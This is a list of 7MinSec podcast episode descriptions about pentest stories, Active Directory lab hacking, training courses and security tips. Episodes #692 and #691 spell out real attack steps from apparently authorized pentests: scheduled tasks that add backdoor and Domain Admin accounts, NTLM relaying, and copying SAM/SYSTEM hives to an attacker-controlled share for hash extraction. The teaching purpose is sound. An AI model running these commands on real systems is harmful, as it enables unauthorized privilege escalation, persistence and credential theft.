7MS #707: Our New Pentest Course Has Launched! (00:14:03)
Today we're thrilled to announce the launch of LPLITE:GOAD (Light Pentest Live Interactive Training Experience: Game of Active Directory). The first class is coming up Tuesday, January 27 – Thursday, January 29 (9:00 a.m. – 1:00 p.m. CST each day). More information, pricing information and more can be found at training.7minsec.com. Today I talk about who should sign up for the course, what you should bring, and some of the awesome things you'll be doing should you choose to join me on this hacking adventure!
7MS #706: Tales of Pentest Pwnage – Part 80 (00:29:18)
I'm so excited to share today's tale of pentest pwnage, because it brings back to life a coercion technique I thought wouldn't work against Windows 11! Spoiler alert: check out rpc2efs, as well as the 7MinSec Club episode we did on the topic this week. Also, our January Light Pentest LITE:GOAD class is open for registration here!
7MS #705: A Phishing Campaign Fail Tale (00:21:38)
This might be obvious, but security is not all domain admin dancing and maximum pwnage. Sometimes, despite my best efforts, a security project does a faceplant. Today's episode focuses on a phishing campaign that had plenty of "bites" but got immediately shut down – for reasons I still don't understand.
7MS #704: DIY Pentest Dropbox Tips – Part 12 (00:24:46)
Hola friends! My week has very much been about trying to turnaround pentest dropboxes as quickly as possible. In that adventure, I came across two time-saving discoveries: Using a Proxmox LXC as a persistent remote access method Writing a Proxmox post-deployment script that installs Splashtop on the Windows VM, and resets the admin passwords on both VMs, all from the Proxmox SSH console without touching the console on either VM If you feel some of this is better seen than said, on this week's 7MinSec.club Tuesday TOOLSday broadcast we show this in more detail.
7MS #703: Tales of Pentest Pwnage – Part 79 (00:22:16)
Happy Thanksgiving week friends! Today we're celebrating a turkey and pie overload by sharing another fun tale of pentest pwnage! It involves using pygpoabuse to hijack a GPO and turn it into our pentesting puppet! Muahahahahaah!!!! Also: This week over at 7MinSec.club we looked at how to defend against some common SQL attacks We're very close to offering our brand new LPLITE:GOAD 3-day pentest course (likely in mid-January). It will get announced on 7MinSec.club first, so please make sure you're subscribed there (it's free!) Did you miss our talk called Should You Hire AI Run Your Next Pentest? Check it out on YouTube!
7MS #702: Should You Hire AI to Run Your Next Pentest? (00:21:22)
Hello friends, in today's episode I give an audio summary of a talk I gave this week at the MN GOVIT Symposium called "Should You Hire AI to Run Your Next Pentest?" It's not a pro-AI celebration, nor is it an anti-AI bashing. Rather, the talk focuses on my experiences using both free and paid AI services to guide me through an Active Directory penetration test.
7MS #701: What I'm Working on This Week – Part 5 (00:18:29)
Hello friends! This week I'm talking about what I'm working on this week, including: Preparing a talk called Should You Hire AI to Run Your Next Pentest for the Minnesota GOVIT Symposium. Playing with Lithnet AD password protection (I will show this live on next week's Tuesday TOOLSday). The Light Pentest logo contest has a winner!
7MS #700: Pretender (00:08:02)
Today is episode 700 of the 7MinSec podcast! Oh my gosh. My mom didn't think we could do it, but we did. Instead of a big blowout with huge news, giveaways and special guests, today is a pretty standard issue episode with a (nearly) 7-minute run time! The topic of today's episode is Pretender (which you can download here and read a lot more about here). The tool authors explain the motivation behind the tool: "We designed pretender with the single purpose to obtain machine-in-the-middle positions combining the techniques of mitm6 and only the name resolution spoofing portion of Responder." On a recent pentest, I used Pretender's "dry run" mode to find a hostname (that didn't exist) that a ton of machines were querying for, and poisoned requests just for that host. This type of targeted poisoning snagged me some helpful hashes that I was able to crack/relay, all while minimizing the risk of broader network disruption!
7MS #699: Pre-Travel Security Tips (00:30:04)
Today we discuss some pre-travel tips you can use before hopping on a plane to start a work/personal adventure. Tips include: Updating the family DR/BCP plan Lightening your purse/wallet Validating/testing backups and restores Ensuring your auto coverage is up to snuff
7MS #698: Baby's First ProjectDiscovery (00:24:33)
Today I give a quick review of the cloud version of ProjectDiscovery (not a sponsor!).
7MS #697: Pwning Ninja Hacker Academy – Part 4 (00:13:22)
Today your pal and mine Joe "The Machine" Skeen pwn one of the two Ninja Hacker Academy domains! This pwnage included: Swiping service tickets in the name of high-priv users Dumping secrets from wmorkstations Disabling AV Extracting hashes of gMSA accounts We didn't get the second domain pwned, and so I was originally thinking about doing a part 5 in November, but changed my mind. Going forward, I'm thinking about doing longer, all-in-one hacking livestreams where we cover things like NHA from start to finish. My first thought would be to do one long livestream where we complete NHA start to finish. Would you be interested? Let me know at 7MinSec.club, as I'm thinking this could be an interesting piece of bonus content.
7MS #696: Baby's First Security Ticketing System (00:27:45)
In today's episode: I got a new podcast doodad I really like JitBit as a security ticketing system (not a sponsor) The Threat Hunting with Velociraptor 2-day training was great. Highly recommend. I got inspired to take this class after watching the 1-hour primer here.
7MS #695: Tales of Pentest Pwnage - Part 78 (00:15:57)
Today's tale of pentest pwnage involves: Using mssqlkaren to dump sensitive goodies out of SCCM Using a specific fork of bloodhound to find machines I could force password resets on (warning: don't do this in prod…read this!) Don't forget to check out our weekly Tuesday TOOLSday – live every Tuesday at 10 a.m. over at 7MinSec.club!
7MS #694: Tales of Pentest Pwnage – Part 77 (00:33:11)
Hey friends, today I talk about how fun it was two combine two cool pentest tactics, put them in a blender, and move from local admin to mid-tier system admin access (with full control over hundreds of systems)! The Tuesday TOOLSday video we did over at 7minsec.club will help bring this to life as well.
7MS #693: Pwning Ninja Hacker Academy – Part 3 (00:28:44)
This week your pal and mine Joe "The Machine" Skeen kept picking away at pwning Ninja Hacker Academy. To review where we've been in parts 1 and 2: We found a SQL injection on a box called SQL, got a privileged Sliver beacon on it, and dumped mimikatz info From that dump, we used the SQL box hash to do a BloodHound run, which revealed that we had excessive permissions over the Computers OU We useddacledit.py to give ourselves too much permission on the Computers OU Today we: Did an RBCD attack against the WEB box Requested a service ticket to give us local admin superpowers on WEB Performed a secretsdump against WEB Struggled to do a mimikatz dump at the end of the episode (after we ended the stream I realized I could've just done the mimikatz dump because I had local admin access! Oh well, we'll pick things up again during part 4 next month!)
7MS #692: Tales of Pentest Pwnage – Part 76 (00:32:45)
Happy Friday! Today's another hot pile of pentest pwnage. To make it easy on myself I'm going to share the whole narrative that I wrote up for someone else: I was on a pentest where a DA account would sweep the networks every few minutes over SMB and hit my box. But SMB signing was on literally everywhere. The fine folks here recommended I try relaying to something NOT SMB, like MSSQL. This article had good context on that: https://www.guidepointsecurity.com/blog/beyond-the-basics-exploring-uncommon-ntlm-relay-attack-techniques/. I relayed the DA account to a SQL box that BloodHound said had a "session" from another DA. One part I can't explain is the first relay got me a shell in the context of NT SERVICE\MSSQLSERVER. That shell broke for some reason while I was sleeping that night, and the next relay landed as NT AUTHORITY\SYSTEM (!). The net command would let me add a new user, but BLOCK me trying to make that new user a local admin. However, a scheduled task did the trick: xp_cmdshell schtasks /create /tn "Maintenance" /tr "net local group administrators backdoor /add" /sc once /st 12:00 /ru SYSTEM /f and then xp_cmdshell schtasks /run /tn "Maintenance". Turns out a DA wasn't interactively logged in, but a DA account was configured to run a specific service. I learned those goodies are stored in LSA, so the next move was to use my local admin account to RDP in to the victim and create a shadow copy. That part went fine, but for the life of me I couldn't copy reg hives out of it – EDR was unhappy. In the end, the bizarre combo of things that did the trick was: Setup smbserver.py with username/password auth on my attacking box: smbserver.py -smb2support share . -username toteslegit -password 'DontMindMeLOL!' From the victim system, I did an mklink to the shadow copy: mklink /d C:\tempbackup \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy123\ From command prompt on the victim system, I authenticated to my rogue share: net use \\ATTACKER_IP\share /user:toteslegit DontMindMeLOL! Then I did a copy command for the first hive: copy SYSTEM \\my.attackingip\sys.test. EDR would kill this cmd.exe box IMMEDIATELY. However….the copy completed! I repeated this process to get SAM copied over as sam.test. Again, EDR nuked the cmd.exe window but copy completed!!!111!!!!! Finishing move: secretsdump -sam sam.test -system sys.test LOCAL
7MS #691: Tales of Pentest Pwnage – Part 75 (00:31:39)
Holy schnikes, today might be my favorite tale of pentest pwnage ever. Do I say that almost every episode? yes. Do I mean it? Yes. Here are all the commands/links to supplement today's episode: Got an SA account to a SQL server through Snaffler-ing With that SA account, I learned how to coerce Web auth from within a SQL shell – read more about that here I relayed that Web auth with ntlmrelayx -smb2support -t ldap://dc --delegate-access --escalate-user lowpriv I didn't have a machine account under my control, so I did SPNless RBCD on my lowpriv account – read more about that here Using that technique, I requested a host service ticket for the SQL box, then used evil-winrm to remote in using the ticket From there I checked out who had interactive logons: Get-Process -IncludeUserName explorer | Select-Object UserName Then I queued up a fake task to elevate me to DA: schtasks /create /tn "TotallyFineTask" /tr 'net group "Domain Admins" lowpriv /add /domain' /sc once /st 12:00 /ru "DOMAIN\a-domain-admin" /it /f …and ran it: schtasks /run /tn "TotallyFineTask"
7MS #690: Tales of Pentest Pwnage – Part 74 (00:21:13)
Today's tale of pentest pwnage is a classic case of "If your head is buried in the pentest sand, pop it out for a while, touch grass, and re-enumerate what you've already enumerated, because that can lead to absolute GOLD!"
7MS #689: Pwning Ninja Hacker Academy – Part 2 (00:15:40)
Hello friends! Today your friend and mine, Joe "The Machine" Skeen joins me as we keep chipping away at pwning Ninja Hacker Academy! Today's pwnage includes: "Upgrading" our Sliver C2 connection to a full system shell using PrintSpoofer! Abusing nanodump to do an lsass minidump….and find our first cred. Analyzing BloodHound data to find (and own) excessive permissions against Active Directory objects
7MS #688: Building a Pentest Training Course Is Fun and Frustrating (00:22:13)
Today I talk about a subject I love while also driving me crazy at the same time: building a pentest training course! Specifically, I dissect a fun/frustrating GPO attack that I need to build very carefully so that every student can pwn it while also not breaking the domain for everybody else. I also talk about how three different flavors of AI failed me in solving a simple task.
7MS #687: A Peek into the 7MS Mail Bag – Part 5 (00:57:26)
Hi friends, we're doing something today we haven't done in a hot minute: take a dip into the 7MinSec mail bag! Today we cover these questions: If I'm starting a solo business venture as a security consultancy, is it a good idea to join forces with other solo security business owners and form a consortium of sorts? Have you ever had anything go catastrophically wrong during a pentest? Yes, and this is an important link in the story: https://github.com/fortra/impacket/issues/1436 What ever happened with the annoying apartment neighbor who stomped around like a rhino when you made any noise during COVID? What happened to the "difficult family situation" you vaguely talked about a few months ago that involved police and lawyers – did that ever get resolved?
7MS #686: Our New Pentest Training Course is Almost Ready (00:23:30)
Oh man, I'm so excited I can hardly sleep. Our new three-day (4 hours per day) training is getting closer to general release. I talk about the good/bad/ugly of putting together an attack-sensitive lab that students can abuse (but hopefully not break!), and the technical/curriculum-writing challenges that go along with it.
7MS #685: The Time My Neighbor Almost Got Scammed Out of $13K (00:22:56)
Today's kind of a "story time with your friend Brian" episode: a tale of how my neighbor almost got scammed out of $13k. The story has a lot of red flags we can all keep in mind to keep ourselves (as well as kids/friends/parents/etc.) safer from these types of shenanigans.
7MS #684: Pwning Ninja Hacker Academy (00:22:50)
Hey friends, today we start pwning Ninja Hacker Academy – cool CTF-style lab that has you start with no cred and try to conquer domain admin on two domains!
7MS #683: What I'm Working on This Week - Part 4 (00:30:50)
This week I'm working on a mixed bag of fun security and marketing things: A pentest I'm stuck on My latest lab CTF obsession: Ninja Hacker Academy A cool "about 7MinSec" marketing video that was recorded in a pro studio!
